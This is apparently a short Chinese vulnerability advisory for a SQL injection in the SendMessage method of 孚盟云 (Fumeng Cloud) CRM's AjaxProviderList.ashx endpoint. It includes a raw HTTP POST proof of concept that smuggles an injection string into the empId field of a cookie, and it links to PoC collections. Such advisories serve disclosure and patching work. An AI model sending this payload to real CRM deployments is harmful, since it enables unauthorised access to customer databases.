Description
孚盟云 CRM 系统中，/m/Dingding/Ajax/AjaxProviderList.ashx 接口的 SendMessage 方法存在 SQL 注入漏洞，该接口在处理用户传入参数时未进行有效的过滤和参数化处理，攻击者可构造恶意 SQL 语句注入后台数据库查询，从而在未授权的情况下获取数据库中的敏感信息。
孚盟云CRM /m/Dingding/Ajax/AjaxProviderList.ashx SendMessage SQL 注入漏洞
PoC
POST /m/Dingding/Ajax/AjaxProviderList.ashx HTTP/1.1
Host:
Content-Type: application/x-www-form-urlencoded
Content-Length: 20
Cookie: UserCookie={"empId":"'SQLI_POC--","corpId": "1"}
method=SendMessage
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.References
https://mrxn.net/jswz/fumacrm-Dingding-Ajax-AjaxProviderList-sqli.html
https://github.com/eeeeeeeeee-code/POC/blob/main/wpoc/%E5%AD%9A%E7%9B%9F%E4%BA%91/%E5%AD%9A%E7%9B%9F%E4%BA%91%E7%B3%BB%E7%BB%9F%E6%8E%A5%E5%8F%A3ajaxsenddingdingmessage%E5%AD%98%E5%9C%A8SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.md
https://blog.csdn.net/qq_41904294/article/details/135708887